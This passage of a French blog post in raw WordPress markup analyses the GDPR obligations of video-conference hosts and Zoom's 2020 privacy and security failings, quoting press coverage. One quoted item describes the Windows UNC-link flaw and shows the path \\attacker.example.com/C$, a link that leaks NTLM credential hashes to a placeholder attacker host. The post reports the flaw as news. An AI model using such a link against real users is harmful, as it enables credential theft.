concerne les conditions de licéité du traitement. Des\ndérogations à l\'interdiction générale de traiter ces catégories particulières\nde données à caractère personnel devraient être explicitement prévues, entre\nautres lorsque la personne concernée donne son <strong>consentement explicite ou\npour répondre à des besoins spécifiques, en particulier lorsque le traitement\nest effectué dans le cadre d\'activités légitimes de certaines associations ou\nfondations ayant pour objet de permettre l\'exercice des libertés fondamentales.</strong></em><strong><em></em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>En\nGrande Bretagne : <a href=\"https://uk.practicallaw.thomsonreuters.com/D-014-7572?transitionType=Default&amp;contextData=(sc.Default)&amp;firstPage=true&amp;bhcp=1\">Murray\nv Big Picture</a> §80 </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Il\nest dès lors permis de considérer que les images traitées à l’occasion d’une visio-conférence\nrentrent dans le cadre des données biométriques. La possibilité d’éventuels\ntests de reconnaissance faciale n’est pas inclus. De plus, des utilisateurs ne révélant\npas leur identité en utilisant des pseudonymes peuvent être identifiés par la\ndivulgation de leur image.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Par\nconséquent, les images ou vidéos, identifiant les participants en fonction de leur\nappartenance raciale, ethnique, religieuse, philosophique ou syndicale sont à considérer\ncomme entrant dans la catégorie des données à caractère spéciale. De même,\nrentrent dans la catégorie des données spéciales celles ayant trait à l’état de\nsanté ou les données des enfants mineurs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Voire\nla recommandation de la <a href=\"https://www.cnil.fr/sites/default/files/atoms/files/reconnaissance_faciale.pdf\">CNIL</a>\nen matière de Reconnaissance faciale et <a href=\"https://forum.technopolice.fr/assets/uploads/files/1582802422930-1090394890_1901249.pdf\">l’arrêt récent du conseil d’Etat du 27 février\n2020</a>. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Respect des principes de licéité art. 5 <a>[_</a><a href=\"https://awallon.com:15001/d/s/546473812416311539/Fj-SiC6a-IBw6ig8V960YMMlZtQWvEw3-0L5Az1Gplgc_\">RGPD05</a>_]\n</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Les\ndonnées doivent être collectées doivent répondre aux exigences de licéité énumérées\nà <strong>l’art 5</strong> <strong>[_<a href=\"https://awallon.com:15001/d/s/546473812416311539/Fj-SiC6a-IBw6ig8V960YMMlZtQWvEw3-0L5Az1Gplgc_\">RGPD05</a>_].</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1. Les données à caractère personnel\ndoivent être :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>a) <em>traitées\nde manière licite, loyale et transparente au regard de la personne concernée (<strong>licéité,\nloyauté, transparence</strong>);</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Un privacy notice doit être produit définissant\nla base légale de traitement et garantissant les obligations de transparences définies\ndans l’article 13, comme explicité plus en avant.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>b) collectées\npour des finalités déterminées, explicites et légitimes, et ne pas être\ntraitées ultérieurement d\'une manière incompatible avec ces finalités ; le\ntraitement ultérieur à des fins archivistiques dans l\'intérêt public, à des\nfins de recherche scientifique ou historique ou à des fins statistiques n\'est\npas considéré, conformément à l\'article 89, paragraphe 1, comme incompatible\navec les finalités initiales (<strong>limitation des finalités</strong>);</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Tout enregistrement de la vidéo-conférence\net ses utilisations ultérieures doivent être notifiés aux participants et ses\nbases légales justifiées.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>c)\nadéquates, pertinentes et limitées à ce qui est nécessaire au regard des\nfinalités pour lesquelles elles sont traitées (<strong>minimisation des données</strong>);</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Les données collectées doivent être réduites\nau stricte nécessaire.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>d) exactes\net, si nécessaire, tenues à jour; toutes les mesures raisonnables doivent être\nprises pour que les données à caractère personnel qui sont inexactes, eu égard\naux finalités pour lesquelles elles sont traitées, soient effacées ou rectifiées\nsans tarder (<strong>exactitude</strong></em>);</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Si des données sont conservées, elles\nseront soumises à l’obligation de mise à jour pour respecter l’exactitude des\ninformations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>e) <em>conservées\nsous une forme permettant l\'identification des personnes concernées pendant une\ndurée n\'excédant pas celle nécessaire au regard des finalités pour lesquelles\nelles sont traitées; les données à caractère personnel peuvent être conservées\npour des durées plus longues dans la mesure où elles seront traitées exclusivement\nà des fins archivistiques dans l\'intérêt public, à des fins de recherche\nscientifique ou historique ou à des fins statistiques conformément à l\'article\n89, paragraphe 1, pour autant que soient mises en oeuvre les mesures techniques\net organisationnelles appropriées requises par le présent règlement afin de\ngarantir les droits et libertés de la personne concernée <strong>(limitation de la\nconservation</strong>);</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>La durée de conservation doit être définie\net communiquée aux intervenants. Les enregistrements, s’ils existent, ne\npeuvent dépasser le délai fixé. Les archivages devant mettre au point des accès\nlimités et sécurisés lorsqu’ils ne sont plus justifiés.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>f) traitées de\nfaçon à garantir une sécurité appropriée des données à caractère personnel, y\ncompris la protection contre le traitement non autorisé ou illicite et contre\nla perte, la destruction ou les dégâts d\'origine accidentelle, à l\'aide de\nmesures techniques ou organisationnelles appropriées (<strong>intégrité et\nconfidentialité</strong>);</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>La sécurité des vidéo-conférences et de leurs\nenregistrements ou accès ultérieurs sont l’affaire de l’organisateur qui doit s’assurer\nque le prestataire de service rempli bien sa mission conformément aux\nobligations du RGDP. Ceci inclus la transmission par voie d’encryptage excluant\nles transferts vers des pays tiers ne représentant pas une protection adéquate.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>2. Le\nresponsable du traitement est responsable du respect du paragraphe 1 et est en\nmesure de démontrer que celui-ci est respecté (<strong>responsabilité</strong>).</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Ce\npoint est très important car comme exposé infra, la responsabilité de l’organisateur\nde la vidéo-surveillance peut être engagée pour non-respect du règlement ou accès\nnon autorisé aux données personnelles, ‘distress’ ou perte de contrôle.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>La détermination de la finalité du traitement</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Tout\ntraitement de données doit répondre à une finalité légitime telle qu’énumérée à\nl’<strong>art. 6</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>[_</strong><a href=\"https://awallon.com:15001/d/s/546473817457864974/9_SaB4sD4ZbF_BahmiIcElgM0SeGzjyY-KL.g8maplgc_\"><strong>RGPD06</strong></a><strong>_] </strong>En matière de visio-conférence, le\ntraitement pourra être, soit considéré comme relevant d’un intérêt légitime –\navec nécessité de procéder aux tests en trois parties – soit une demande de\nconsentement préalable sera indispensable. Le motif de traitement devra être\nconsigné par le contrôleur le cas échéant sur son registre des traitements <strong>art.\n30 [_</strong><a href=\"https://awallon.com:15001/d/s/546474494982665927/7bfN18_k4apJzxqD_sDoa5tS0519LBaB-CrvAcAKtlgc_\"><strong>RGPD30</strong></a>_] et mentionné dans le privacy\nnotice. Il faut rappeler qu’en matière de consentement, celui-ci peut être retranché\nà tout moment avec le risque d’invalider la licéité de tout enregistrement\nconservé.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Sur le consentement</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Le <strong>paragraphe 11) de</strong> <strong>l’Art 4 [_</strong><a href=\"https://awallon.com:15001/d/s/546473809629196514/4CyJONSTRVux8h1S1hlAemABjAOhOhVp-Xb6AlDaplgc_\"><strong>RGPD04</strong></a><strong>_]</strong> définit le consentement comme <em>« toute manifestation de volonté, <strong>libre,\nspécifique, éclairé et univoque</strong> par laquelle la personne concernée accepte,\npar une déclaration ou par un <strong>acte positif clair</strong>, que des données à\ncaractère personnel la concernant fassent l’objet d’un traitement</em> ». </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>En outre, <strong>l’art. 7 [_</strong><a href=\"https://awallon.com:15001/d/s/546473823059358010/dF8swi-ycXEJOythcYdwoZ1jGi52TLmI-hr9AuXuplgc_\"><strong>RGPD07</strong></a><strong>_]</strong>, relatif aux conditions applicables au consentement, dispose : </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>« <em>1. Dans les cas où le\ntraitement repose sur le consentement, le responsable du traitement est en\nmesure de démontrer que la personne concernée a donné son consentement au\ntraitement de données à caractère personnel la concernant. &nbsp;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>2. Si le consentement de\nla personne concernée est donné dans le cadre d\'une déclaration écrite qui\nconcerne également d\'autres questions, la demande de consentement est présentée\nsous une forme qui la distingue clairement de ces autres questions, sous une\nforme compréhensible et aisément accessible, et formulée en des termes clairs\net simples. Aucune partie de cette déclaration qui constitue une violation du\nprésent règlement n\'est contraignante. / (…) Au moment de déterminer si le\nconsentement est donné librement, il y a lieu de tenir le plus grand compte de\nla question de savoir, entre autres, si l\'exécution d\'un contrat, y compris la\nfourniture d\'un service, est subordonnée au consentement au traitement de\ndonnées à caractère personnel qui n\'est pas nécessaire à l\'exécution dudit contrat.</em> ».</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>Un consentement explicite, et informé, est requis des participants à la vidéo-conférence\nlorsque les données sont collectées avec précision de l’enregistrement ou toutes\ndiffusions totale ou partielle ultérieures, y compris copies d’écrans (screenshots)\ndes meetings. Rappelons que, s’agissant de données biométriques capables\nd\'identifier des individus, données de catégorie spéciale <strong>art. 9-2 a)</strong> - ceci\nconcerne les données des participants et de toutes autres données personnelles traitées\nlors de la visio-conférence <strong>[_</strong><strong><a href=\"https://awallon.com:15001/d/s/546473888708604345/9YWV_GdD27JLwaE5FTLH9oLRVF7a6aPB-NrfALC95lgc_\">RGPD09</a></strong><strong>_] -</strong> les consentements devront être répertoriés\nau registre des traitement conformément à <strong>l’art. 30 [_</strong><a href=\"https://awallon.com:15001/d/s/546474494982665927/7bfN18_k4apJzxqD_sDoa5tS0519LBaB-CrvAcAKtlgc_\"><strong>RGPD30</strong></a>_]. La finalité de traitement des\ndonnées des personnes non présentes devra être justifiée distinctement.</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:list -->\n<ul><li>Certains participants peuvent souhaiter utiliser des pseudonymes pour une\nraison qui leur appartient et peuvent ne pas souhaiter être exposé au grand\npublic. Une alternative doit leur être proposée.</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Obligation de transparence – art. 13 [_</strong><a href=\"https://awallon.com:15001/d/s/546474032199938723/6QAGUnfh5Lso2IERmO_35PfDu-WFS-Lp--7HAWgyqlgc_\"><strong>RGPD13</strong></a><strong>_] </strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Ainsi\nque mentionné plus avant, l’organisateur de la visio-conférence ou le ‘host’ se\ndoit de communiquer en toute transparence les règles et cadre de traitement des\ndonnées, avant la collecte et fournir, au préalable, aux participants :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>En\nréalité, il semblerait que de nombreuses applications de visio-conférences manquent\ncruellement de transparence. L\'hôte dispose de multiples capacités et prérogatives\ntechniques qui sont la plupart du temps inconnues aux autres participants\ntelles que l\'enregistrement et leurs diffusions ultérieures. L’<strong>art. 13 [_</strong><a href=\"https://awallon.com:15001/d/s/546474032199938723/6QAGUnfh5Lso2IERmO_35PfDu-WFS-Lp--7HAWgyqlgc_\"><strong>RGPD13</strong></a><strong>_] </strong>requiert&nbsp;de fournir à la\npersonne concernée l’ensemble de ces informations :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>l\'identité et les\ncoordonnées du responsable du traitement et, le cas échéant, du représentant du\nresponsable du traitement;</em></li><li><em>les coordonnées du délégué à\nla protection des données, le cas échéant;</em></li><li><em>les finalités du traitement\nauquel les données personnelles sont destinées ainsi que la base juridique du\ntraitement;</em></li><li><em>lorsque le traitement est\nbasé sur <strong>l\'art. 6, paragraphe 1, point f [_</strong></em><a href=\"https://awallon.com:15001/d/s/546473817457864974/9_SaB4sD4ZbF_BahmiIcElgM0SeGzjyY-KL.g8maplgc_\"><strong><em>RGPD06</em></strong></a><strong><em>_] </em></strong><em>les intérêts légitimes\npoursuivis par le responsable du traitement ou par un tiers;</em></li><li><em>les destinataires ou\ncatégories de destinataires des données personnelles, le cas échéant;</em></li><li><em>le cas échéant, le fait que\nle responsable du traitement a l\'intention de transférer des données à caractère\npersonnel vers un pays tiers ou une organisation internationale et l\'existence\nou l\'absence d\'une décision d\'adéquation de la Commission, ou dans le cas de\ntransferts visés aux <strong>art. 46 </strong>[_</em><a href=\"https://awallon.com:15001/d/s/546474562060073206/wCc5NNfuVGtZCEDxxz6BStB9yee9JWnD-pb5gNUiulgc_\"><em>RGPD46</em></a><em>_] ou <strong>47 [_</strong></em><strong><a href=\"https://awallon.com:15001/d/s/546474565138692367/ai8ZRfn61YIW-lWc0mQFwXg7c-vpOcqi-574A812ulgc_\"><em>RGPD47</em></a></strong><strong><em>_]</em></strong><em> ou <strong>49 [_</strong></em><strong><a href=\"https://awallon.com:15001/d/s/546474569236527405/d3Ss3HULlIGAgfmZOgnP6CNOPXpnNIGb-UL-gP4Wulgc_\"><em>RGPD49</em></a></strong><strong><em>_]</em></strong><em> paragraphe 1, deuxième\nalinéa, référence aux garanties appropriées ou appropriées et aux moyens\npermettant d\'en obtenir une copie ou lorsque celles-ci ont été mises à\ndisposition.</em></li><li>Les droits des participants en vertu des <strong>art. 14 [_</strong><a href=\"https://awallon.com:15001/d/s/546474033709888180/NZ1hg0XLRX1r_mANS3X08rd_LhFLNvCT-yLIgdT6qlgc_\"><strong>RGPD14</strong></a><strong>_]</strong> , <strong>art 15</strong> <strong>[_</strong><a href=\"https://awallon.com:15001/d/s/546474036744467150/dpQYWhIjP2q8K4dCb7E2HguyWsMe9rH5-H7NAm1Oqlgc_\"><strong>RGPD15</strong></a><strong>_]</strong> et notamment leur droit de\nrectification ou rétractation du consentement, leur droit de porter plainte\ndevant l’autorité administrative doivent également leur être rappelés </li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>En\nsus des informations visées au paragraphe 1, le responsable du traitement fournit,\nau moment de l\'obtention des données à caractère personnel, aux participants,\nles informations supplémentaires suivantes nécessaires pour garantir un\ntraitement équitable et transparent :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>la période pendant laquelle les données personnelles seront stockées ou, si\ncela n\'est pas possible, les critères utilisés pour déterminer cette période;<ul><li>l\'existence du droit de\ndemander au responsable du traitement l\'accès et la rectification ou\nl\'effacement des données personnelles ou la limitation du traitement concernant\nla personne concernée ou de s\'opposer au traitement ainsi que le droit à la\nportabilité des données;</li></ul><ul><li>lorsque le traitement est\nbasé sur <strong>l\'art. 6</strong> <strong>[_</strong><strong><a href=\"https://awallon.com:15001/d/s/546473817457864974/9_SaB4sD4ZbF_BahmiIcElgM0SeGzjyY-KL.g8maplgc_\">RGPD06</a></strong><strong>_]</strong> paragraphe 1, point a), ou sur <strong>l\'art.\n9</strong> <strong>[_</strong><strong><a href=\"https://awallon.com:15001/d/s/546473888708604345/9YWV_GdD27JLwaE5FTLH9oLRVF7a6aPB-NrfALC95lgc_\">RGPD09</a></strong><strong>_]</strong> paragraphe 2, point a), l\'existence\ndu droit de retirer le consentement à tout moment, sans affecter la licéité du\ntraitement basé sur le consentement avant son retrait;</li></ul><ul><li>le droit de déposer une\nplainte auprès d\'une autorité de contrôle;</li></ul><ul><li>si la fourniture de données\nà caractère personnel est une exigence légale ou contractuelle, ou une exigence\nnécessaire pour conclure un contrat, ainsi que si la personne concernée est\ntenue de fournir les données à caractère personnel et les conséquences\npossibles de la non-fourniture de ces données;</li></ul><ul><li>l\'existence d\'une prise de\ndécision automatisée, y compris le profilage, visée à <strong>l\'art. 22</strong> <strong>[_</strong><strong><a href=\"https://awallon.com:15001/d/s/546474473260365314/Hwg6NIl6VN1xY3w84zHV2sUe1MlmQPAP-gbVgu-Kqlgc_\">RGPD22</a></strong><strong>_]</strong> paragraphes 1 et 4, et, au moins\ndans ces cas, des informations significatives sur la logique impliquée, ainsi\nque la signification et les conséquences envisagées d\'une telle le traitement\nde la personne concernée.</li></ul></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Lorsque le responsable du\ntraitement a l\'intention de poursuivre le traitement des données à caractère\npersonnel à une fin autre que celle pour laquelle ces données ont été\ncollectées, le responsable du traitement fournit à la personne concernée, avant\nce traitement ultérieur, des informations sur cette autre fin et toute autre\ninformation pertinente visée au paragraphe 2.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Les paragraphes 1, 2 et 3 ne\ns\'appliquent pas lorsque et dans la mesure où la personne concernée dispose\ndéjà des informations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Un avis de confidentialité\ndoit être remis au moment de la collecte des données, c\'est-à-dire avant l\'heure\nà laquelle les invités entrent en réunion.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Les périodes de conservation\ndes données doivent être clarifiées et communiquées.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>L\'exigence de limitation de\nla finalité signifie qu\'il doit être clair sur l\'avis de confidentialité qui\naccède aux données, dans quel but spécifique. Le partage de données avec\nFacebook était contraire au RGPD. Même si le développeur Zoom a modifié cela,\nles utilisateurs doivent mettre à jour leur application.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Ces données ne doivent pas\nêtre utilisées à d\'autres fins que celles prévus telles que la formation à la\nreconnaissance faciale sans le consentement des intéressés. Le host est\nresponsable du respect de ces principes et notamment des traitements ultérieurs\npar Zoom.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Le privacy policy de Zoom a\nsoulevé des craintes justifiées&nbsp;:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"https://zoom.us/privacy\" target=\"_blank\" rel=\"noreferrer noopener\">Zoom\'s privacy policy&nbsp;</a> claims the right to collect and store personal data\nand share it with third parties such as advertisers.</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Jusqu’à ce qu’il soit modifié durant le week-end, pré-daté\nau 18 mars </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>The company&nbsp;</em><em><a href=\"https://zoom.us/privacy?zcid=1231\" target=\"_blank\" rel=\"noreferrer noopener\">updated its privacy policy</a>&nbsp;on Sunday after users reported\nconcerns, and&nbsp;<a href=\"https://twitter.com/ericsyuan/status/1244682869974290433\" target=\"_blank\" rel=\"noreferrer noopener\">on Monday</a>, Eric S. Yuan, chief executive and founder of Zoom, posted a\nlink on Twitter to a company blog item about the policy. <a href=\"https://www.nytimes.com/2020/03/30/technology/new-york-attorney-general-zoom-privacy.html\">NYTimes</a></em></li><li><em>In\na statement for this article, the company said it took “its users’ privacy,\nsecurity and trust extremely seriously,” and had been “working around the clock\nto ensure that hospitals, universities, schools and other businesses across the\nworld can stay connected and operational.”</em><em></em></li><li><em>“We\nappreciate the New York attorney general’s engagement on these issues and are\nhappy to provide her with the requested information,” the statement added.</em></li><li><em>Zoom <strong>privacy\nnotice</strong> grants access to data even though for people who have not a Zoom\naccount</em></li><li><em>Zoom’s privacy policy gives the company rights to collect\npersonal data of people regardless of whether they have a Zoom account. This\ndata they might collect on non-Zoom customers might include their physical\naddress, debit card information and even what device they are using.</em><em></em></li><li><em>They keep the\nright to collect and share information with unspecified third parties in\npresent and in the future.</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Privacy by design ou Privacy Enhanced Technology (PET)</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>L’application\nZoom comporte bien quelques garde-fous de protection mais ils sont désactivés\npar défaut. Aucun traitement ne doit pouvoir être opéré sans transparence ni consentement\nexprimé par acte positif des sujets concernés. En l’occurrence il n’est pas très\nclair quand un enregistrement est effectué ni ses utilisations ultérieures.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>L’application\ncomportait une option de traçage d’attention ou <em>’attention tracking’</em> qui\npermettait au host de tracer l’attention des participants s’ils venaient à\nvisiter d’autres sites ou basculaient sur d’autres fenêtres. Cette option trop\nintrusive a été désactivée.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Encore\nune fois, une notice de privacy devrait éclairer le consentement requis de la\npart des participants. Il n’est pas activé par défaut sachant que les données biométriques,\nde santé ou relatives à des mineurs sont des catégories spéciales nécessitant\nun consentement explicite.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>A small <strong>red\nbutton when recording</strong> - can be easily missed. There is an option of request\nrecording consent at the beginning – what about the ones joining in in the\ncourse of the meeting? The consent request is OFF by default. <strong>Privacy by\ndesign</strong>: should be ON by default</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Obligation de sécurité</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Limiter\nl’accès aux données pour sécuriser le contenu et primordial.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Absence de chiffrage ou d’encryption</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Le\nchiffrage des communications ou encryptage faisait partie des promesses de Zoom\nmais s’est avéré limité un chiffrage de type browser TLS et non pas UDP comme\nl’a révélé le <a href=\"https://theintercept.com/2020/03/31/zoom-meeting-encryption/\"><em>Intercept</em></a><em>.</em> Zoom s’en est excusé et a reconnu\nle manquement. Or, un encryptage end to end est obligatoire pour s’assurer\nde la protection des données d’autant qu’ils peuvent être de catégorie spéciale.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Or, il s’avère\nque les données seraient stockées sur Amazon S3 en texte clair et ne seraient pas\nmême chiffrées. Par conséquent, tout employé ou développeur de Zoom ayant accès\naux compartiments S3 pour les activités de développement et de maintenance\npourrait les intercepter et se les accaparer pour tels traitements éventuels.\nIl n’y a donc aucune véritable confidentialité sur ces enregistrements. Ce problème\nest loin d’être négligeable.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>La seule barrière entre l’enregistrement privé et public\nest la sécurité du pare-feu Zoom et des autres éléments qu\'ils ont mis en\nplace. Une fois que ceux-ci ont été violés, par exemple par une attaque de\nphishing, les seaux S3 sont un jeu équitable. Un système de cryptage décent sur les\nenregistrements stockés aurait été indispensable ici.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>a Zoom spokesperson wrote, “Currently, it is not possible\nto enable E2E encryption for Zoom video meetings. Zoom video meetings use a\ncombination of TCP and UDP. TCP connections are made using TLS and UDP\nconnections are encrypted with AES using a key negotiated over a TLS\nconnection.”</li><li><em>On 4/3, Citizen Lab&nbsp;</em><em><a href=\"https://citizenlab.ca/2020/04/move-fast-roll-your-own-crypto-a-quick-look-at-the-confidentiality-of-zoom-meetings/\">reported</a></em></li><li><em>Zoom&nbsp;</em><em><a href=\"https://zoom.us/docs/doc/Zoom-Security-White-Paper.pdf\">documentation</a>&nbsp;claims that the app uses \"AES-256\"\nencryption for meetings where possible. However, we find that in each Zoom\nmeeting, a single AES-128 key is used in ECB mode by all participants to\nencrypt and decrypt audio and video. The use of ECB mode is not recommended\nbecause patterns present in the plaintext are preserved during encryption.</em></li><li><em>The AES-128 keys, which we verified are sufficient to decrypt Zoom\npackets intercepted in Internet traffic, appear to be generated by Zoom\nservers, and in some cases, are delivered to participants in a Zoom meeting\nthrough servers in China, even when all meeting participants, and the Zoom\nsubscriber\'s company, are outside of China. </em><em><a href=\"https://www.schneier.com/blog/archives/2020/04/security_and_pr_1.html\">Reported by the Security expert Schneier in his blog</a> </em></li><li><em><a href=\"https://blog.cryptographyengineering.com/2020/04/03/does-zoom-use-end-to-end-encryption/\">Does Zoom uses end to end encryption?</a> </em></li><li><em>Warning:\nZoom Makes Encryption Keys In China (Sometimes)</em><em></em></li><li><em>Where is the EU DPA investigation?\nOnce again, Eu personal data is in between China interception and the US Cloud\nAct interception. Data sent outside the EU in China without users knowledge.\n\"As </em><em><a href=\"https://medium.com/hashtag-resist/using-zoom-for-activism-think-about-security-1c4f2903275a\">Citizen Lab</a> hadn’t sent its\nfindings to Zoom, saying it was in the public interest to release the\ninformation as soon as possible, the videoconferencing company wouldn’t have\nbeen aware of the findings. But Yuan assured that if user data was being\ntransferred to China when users weren’t even based there, “we are willing to\naddress that.”</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>On apprend ainsi\nmême que Zoom transfèrerait des données pour encryptage en Chine, ce que le CEO\nn’a pas manqué de reconnaitre, accidentellement a-t-il dit.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><a href=\"https://theintercept.com/2020/04/03/zooms-encryption-is-not-suited-for-secrets-and-has-surprising-links-to-china-researchers-discover/\">Zoom’s Encryption Is “Not Suited For Secrets” And Has\nSurprising Links To China, Researchers Discover</a><strong> </strong></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Les déboires ne s’arrêtent pas là, 1er Avril une nouvelle est tombée, Zoom\ns’emparerait des passwords sauvegardés par Windows:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>On\n4/1, we learned that Zoom for Windows can be used to&nbsp;</em><em><a href=\"https://arstechnica.com/information-technology/2020/04/unpatched-zoom-bug-lets-attackers-steal-windows-credentials-with-no-warning/\">steal</a>&nbsp;users\'\nWindow credentials.</em></li><li><em>Attacks\nwork by using the Zoom chat window to send targets a string of text that\nrepresents the network location on the Windows device they\'re using. The Zoom\napp for Windows automatically converts these so-called&nbsp;</em><em><a href=\"https://www.lifewire.com/unc-universal-naming-convention-818230\">universal naming convention</a>&nbsp;strings -- such as \\\\attacker.example.com/C$ --\ninto clickable links. In the event that targets click on those links on\nnetworks that aren\'t fully locked down, Zoom will send the Windows usernames and\nthe corresponding&nbsp;<a href=\"https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/network-security-minimum-session-security-for-ntlm-ssp-based-including-secure-rpc-servers\">NTLM</a>&nbsp;hashes\nto the address contained in the link</em>.</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Le\n2 avril on apprenait que Zoom accèderait à des données personnelles extraites\ndes profiles Linkedin des utilisateurs :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>On 4/2, we learned that Zoom&nbsp;</em><em><a href=\"https://www.nytimes.com/2020/04/02/technology/zoom-linkedin-data.html\">secretly displayed</a>&nbsp;data from people\'s LinkedIn\nprofiles, which allowed some meeting participants to snoop on each other. <a href=\"https://www.schneier.com/blog/archives/2020/04/security_and_pr_1.html\">(Zoom has fixed this one.)</a></em></li><li><em><a href=\"https://tidbits.com/2020/04/03/every-zoom-security-and-privacy-flaw-so-far-and-what-you-can-do-to-protect-yourself/\">Every Zoom Security and Privacy Flaw So Far, and What\nYou Can Do to Protect Yourself</a> </em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Très vite ont surgi les nouvelles d’intrus s’invitant au milieu des\nmeetings, intrusion qualifiée de ‘ZoomBombing’&nbsp;:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"https://mashable.com/article/videoconference-crashed-naked-man-privacy/?europe=true\">Naked\nman crashing school\'s video call is a privacy lesson for all</a></em></li><li><em><a href=\"/www.insidehighered.com/news/2020/03/26/zoombombers-disrupt-online-classes-racist-pornographic-content#.Xn26Zv4up1Y.linkedin\">Online Zoom classes were disrupted by individuals\nspewing racist, misogynistic or vulgar content. Experts say professors using\nZoom should familiarize themselves with the program\'s settings.</a></em></li><li><em><a href=\"https://techcrunch.com/2020/03/17/zoombombing/\">Suddenly, dozens of attendees were bombarded with disturbing imagery. A\ntroll entered the call and screenshared Two Girls, One Cup and other horrifying\nsexual videos. Attempts to block the attack were thwarted as the perpetrator\nsimply re-entered the call</a></em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Autre problème éventuellement solutionné par Zoom,\nl’envoi de données à Facebook par utilisation de SDK dénoncé par <a href=\"https://www.vice.com/en_us/article/k7e599/zoom-ios-app-sends-data-to-facebook-even-if-you-dont-have-a-facebook-account\">Motherboard</a> :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>Last week, after an&nbsp;</em><em><a href=\"https://www.vice.com/en_us/article/k7e599/zoom-ios-app-sends-data-to-facebook-even-if-you-dont-have-a-facebook-account\" target=\"_blank\" 